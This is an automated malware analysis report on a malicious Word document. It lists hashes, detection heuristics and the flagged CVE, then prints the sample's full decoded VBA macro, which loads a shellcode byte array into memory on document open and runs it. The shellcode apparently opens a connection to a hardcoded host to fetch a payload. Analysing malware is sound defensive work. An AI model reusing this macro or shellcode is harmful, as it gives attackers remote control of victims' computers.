Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4f4d917af4e87f5…

MALICIOUS

Office (OLE)

38.0 KB Created: 2018-05-22 10:38:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: c6204f7336ab6dd4bfc7360279d029e3 SHA-1: 6f047663cadf9e7bb92c91d1082b73e9675e9bc4 SHA-256: a4f4d917af4e87f5d51e63aaf91105bdce8f54fdf7d192c380909ccac984c948
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. Critical heuristics indicate exploitation of CVE-2007-3899, a memory corruption vulnerability in Microsoft Word, which is leveraged by the AutoOpen macro. The macro uses VirtualAlloc and CreateThread API calls, suggesting it attempts to allocate memory and execute shellcode, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' further supports its dropper functionality.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Rifmxcoy As Long, Yqonzzcsj As Variant, Ocuwb As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3394 bytes
SHA-256: af61843276ec2d2a84aea2a00d448e2993cca920b22e09d7bf83abef1bb4c55e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Dtc As Long, ByVal Mpbitec As Long, ByVal Xkkdblfda As LongPtr, Ijbeqc As Long, ByVal Afjc As Long, Ctjv As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Lvadw As Long, ByVal Qjjhnl As Long, ByVal Ahkvp As Long, ByVal Eznvlz As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Bbuum As LongPtr, ByRef Jsyohbuhz As Any, ByVal Nwkmkauv As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Dtc As Long, ByVal Mpbitec As Long, ByVal Xkkdblfda As Long, Ijbeqc As Long, ByVal Afjc As Long, Ctjv As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Lvadw As Long, ByVal Qjjhnl As Long, ByVal Ahkvp As Long, ByVal Eznvlz As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Bbuum As Long, ByRef Jsyohbuhz As Any, ByVal Nwkmkauv As Long) As Long
#End If

Sub Auto_Open()
    Dim Rifmxcoy As Long, Yqonzzcsj As Variant, Ocuwb As Long
#If VBA7 Then
    Dim Xti As LongPtr, Ruersw As LongPtr
#Else
    Dim Xti As Long, Ruersw As Long
#End If
    Yqonzzcsj = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, _
0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 172, 27, 92, 115, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Xti = VirtualAlloc(0, UBound(Yqonzzcsj), &H1000, &H40)
    For Ocuwb = LBound(Yqonzzcsj) To UBound(Yqonzzcsj)
        Rifmxcoy = Yqonzzcsj(Ocuwb)
        Ruersw = RtlMoveMemory(Xti + Ocuwb, Rifmxcoy, 1)
    Next Ocuwb
    Ruersw = CreateThread(0, 0, Xti, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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